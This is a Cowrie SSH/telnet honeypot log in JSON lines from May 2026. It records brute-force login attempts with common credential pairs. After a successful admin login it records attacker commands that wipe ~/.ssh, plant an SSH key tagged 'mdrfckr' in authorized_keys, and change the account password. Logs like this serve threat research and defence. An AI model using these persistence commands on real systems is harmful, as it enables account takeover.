{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":42692,"dst_ip":"10.17.0.5","dst_port":23,"session":"27077b42e85f","protocol":"telnet","message":"New connection: 104.245.105.2:42692 (10.17.0.5:23) [session: 27077b42e85f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:08.902644Z"}
{"eventid":"cowrie.session.connect","src_ip":"156.251.179.157","src_port":47946,"dst_ip":"10.17.0.5","dst_port":22,"session":"de39eade3d1a","protocol":"ssh","message":"New connection: 156.251.179.157:47946 (10.17.0.5:22) [session: de39eade3d1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:10.561594Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:10.629881Z","src_ip":"156.251.179.157","session":"de39eade3d1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:11.018070Z","src_ip":"156.251.179.157","session":"de39eade3d1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.144.233.139","src_port":39298,"dst_ip":"10.17.0.5","dst_port":22,"session":"35ebbfe9c576","protocol":"ssh","message":"New connection: 45.144.233.139:39298 (10.17.0.5:22) [session: 35ebbfe9c576]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:11.777737Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:11.785749Z","src_ip":"45.144.233.139","session":"35ebbfe9c576","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:11.872645Z","src_ip":"45.144.233.139","session":"35ebbfe9c576","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"654321","message":"login attempt [ubuntu/654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:12.257432Z","src_ip":"45.144.233.139","session":"35ebbfe9c576","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"odoo@123456","message":"login attempt [odoo/odoo@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:12.447966Z","src_ip":"156.251.179.157","session":"de39eade3d1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:13.347160Z","src_ip":"45.144.233.139","session":"35ebbfe9c576","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:13.670007Z","src_ip":"156.251.179.157","session":"de39eade3d1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.238.146","src_port":49010,"dst_ip":"10.17.0.5","dst_port":22,"session":"13064bd35060","protocol":"ssh","message":"New connection: 152.32.238.146:49010 (10.17.0.5:22) [session: 13064bd35060]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:21.580474Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:21.585160Z","src_ip":"152.32.238.146","session":"13064bd35060","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:21.601221Z","src_ip":"152.32.238.146","session":"13064bd35060","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1","message":"login attempt [admin/admin1] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:21.682703Z","src_ip":"152.32.238.146","session":"13064bd35060","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:21.760762Z","src_ip":"152.32.238.146","session":"13064bd35060","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:21.764349Z","src_ip":"152.32.238.146","session":"13064bd35060","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:21.768535Z","src_ip":"152.32.238.146","session":"13064bd35060","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:21.781766Z","src_ip":"152.32.238.146","session":"13064bd35060","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:21.836016Z","src_ip":"152.32.238.146","session":"13064bd35060","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:21.839567Z","src_ip":"152.32.238.146","session":"13064bd35060","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:21.860077Z","src_ip":"152.32.238.146","session":"13064bd35060","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:21.863386Z","src_ip":"152.32.238.146","session":"13064bd35060","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.238.146","src_port":52544,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b2e8e98b16a","protocol":"ssh","message":"New connection: 152.32.238.146:52544 (10.17.0.5:22) [session: 7b2e8e98b16a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:21.868325Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:21.872484Z","src_ip":"152.32.238.146","session":"7b2e8e98b16a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:21.882763Z","src_ip":"152.32.238.146","session":"7b2e8e98b16a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:21.983844Z","src_ip":"152.32.238.146","session":"7b2e8e98b16a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"156.251.179.157","src_port":49420,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f900ed160b3","protocol":"ssh","message":"New connection: 156.251.179.157:49420 (10.17.0.5:22) [session: 0f900ed160b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:22.421631Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:22.443837Z","src_ip":"156.251.179.157","session":"0f900ed160b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:22.887029Z","src_ip":"156.251.179.157","session":"0f900ed160b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:23.003096Z","src_ip":"152.32.238.146","session":"7b2e8e98b16a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.238.146","src_port":38806,"dst_ip":"10.17.0.5","dst_port":22,"session":"397d1650957a","protocol":"ssh","message":"New connection: 152.32.238.146:38806 (10.17.0.5:22) [session: 397d1650957a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:23.017382Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:23.024421Z","src_ip":"152.32.238.146","session":"397d1650957a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:23.036062Z","src_ip":"152.32.238.146","session":"397d1650957a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:23.119956Z","src_ip":"152.32.238.146","session":"397d1650957a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:24.137844Z","src_ip":"152.32.238.146","session":"397d1650957a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:24.232521Z","src_ip":"152.32.238.146","session":"13064bd35060","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:24.236039Z","src_ip":"152.32.238.146","session":"13064bd35060","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"test1123","message":"login attempt [test1/test1123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:24.245969Z","src_ip":"156.251.179.157","session":"0f900ed160b3","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:24.257867Z","src_ip":"152.32.238.146","session":"13064bd35060","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:24.320027Z","src_ip":"152.32.238.146","session":"13064bd35060","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"admin1\\nA9jO0cf1ubJV\\nA9jO0cf1ubJV\"|passwd|bash","message":"CMD: echo -e \"admin1\\nA9jO0cf1ubJV\\nA9jO0cf1ubJV\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:24.324034Z","src_ip":"152.32.238.146","session":"13064bd35060","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:24.328110Z","src_ip":"152.32.238.146","session":"13064bd35060","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:24.331760Z","src_ip":"152.32.238.146","session":"13064bd35060","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/2615256550395c0e004174d69167c4ea64baf88b463236c87cb59b390ac168f1","size":32,"shasum":"2615256550395c0e004174d69167c4ea64baf88b463236c87cb59b390ac168f1","duplicate":false,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/2615256550395c0e004174d69167c4ea64baf88b463236c87cb59b390ac168f1 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:24.352139Z","src_ip":"152.32.238.146","session":"13064bd35060","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:24.429981Z","src_ip":"152.32.238.146","session":"13064bd35060","protocol":"ssh"}
